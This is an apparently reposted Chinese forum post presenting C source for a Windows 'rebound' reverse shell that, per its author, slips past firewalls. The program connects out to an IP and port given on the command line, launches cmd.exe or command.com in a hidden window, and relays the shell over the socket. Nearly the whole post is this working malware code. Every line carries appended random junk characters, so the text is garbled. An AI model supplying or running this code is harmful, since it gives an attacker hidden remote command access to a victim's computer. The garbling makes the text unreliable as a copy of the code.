这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 8r46Wr7Q
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/* ============================== -4!9cE
Rebound port in Windows NT Bl"BmUn
By wind,2006/7 ^UEExjf
===============================*/ <@puWm[p
#include 9h$08l
#include V{yP/X
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#pragma comment(lib,"wsock32.lib") ?mCino
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void OutputShell(); zcn/LF
SOCKET sClient; 7ZsBYP8%
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ev}ugRxt|k
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void main(int argc,char **argv) [$<\*d/
{ g$N/pg2>cT
WSADATA stWsaData; e2X\ll
int nRet; sG6ts,={
SOCKADDR_IN stSaiClient,stSaiServer; m@Vz42g~+
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if(argc != 3) TJY
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{ 'Cv>V"X: `
printf("Useage:\n\rRebound DestIP DestPort\n"); jrl'?`O
return; +[R,wsG
} .a0]1IkatV
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WSAStartup(MAKEWORD(2,2),&stWsaData); `v|w&ty*
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); pmIOV~K
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stSaiClient.sin_family = AF_INET; O_kBAC-|R(
stSaiClient.sin_port = htons(0); ]"2;x
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 9[5qN!P;y
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) IOjp'6Yr
{ /qd5{%:
printf("Bind Socket Failed!\n"); VPh0{(O^=
return; >OLKaghV.5
} {#_CzI.0f
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stSaiServer.sin_family = AF_INET; 4Ucs9w3[
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); =1vl-*uYh
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 1LK`
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) KmYSYNr@,
{ zJ=lNb?q
printf("Connect Error!"); wi gs1
return; VbG#)>"F
} F+m%PVW:
OutputShell(); 9Ev<t\B
} $5]}]
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void OutputShell() bih%hqny
{ nZbINhls
char szBuff[1024]; I""zg^Rq
SECURITY_ATTRIBUTES stSecurityAttributes; C$+z1z.!
OSVERSIONINFO stOsversionInfo; $0mR_pA\fW
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 44x+2@&1
STARTUPINFO stStartupInfo; -`8pahI
char *szShell; \}n\cUy-
PROCESS_INFORMATION stProcessInformation; vH?rln
unsigned long lBytesRead; !S3^{l-
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); TlEd#XQgf&
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); _t/~C*=:=
stSecurityAttributes.lpSecurityDescriptor = 0; !0Mx Bem
stSecurityAttributes.bInheritHandle = TRUE; \GD\N=?~
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \V_Tc`
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); T\wfYuc&X
Ht"?ajW{
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); z@21Z`,
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _qO'(DKylC
stStartupInfo.wShowWindow = SW_HIDE; QG=K^g
stStartupInfo.hStdInput = hReadPipe; 4~K%,K+Du
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; xjy(f~'
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GetVersionEx(&stOsversionInfo); (uVL!%61k
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switch(stOsversionInfo.dwPlatformId) j>`-BN_
{ 4Jf9N'
case 1: x:6c @2
szShell = "command.com"; ~+)>D7
break; 2oo/KndU
default: oMNSQMlI
szShell = "cmd.exe"; l86gs6>
break; AGGT]
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} Miz?t*|{[
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); kW7$Gw]-
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send(sClient,szMsg,77,0); x']Fe7nv
while(1) mKBO<l{S
{ Am!OLGG4
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); =<%[P9y
if(lBytesRead) +# 3e<+!F
{ w,az{\
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); tE#;$Ss
send(sClient,szBuff,lBytesRead,0); O.DO,]Uh
} Fs3
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else bd\%K`JQ{
{ }P'c8$
lBytesRead=recv(sClient,szBuff,1024,0); s o1hC
if(lBytesRead<=0) break; 1\a.o[g3e
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 3$_JNF`
} TwsI8X
} (6Ciqf8
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return; ?>Ngsp>-P
}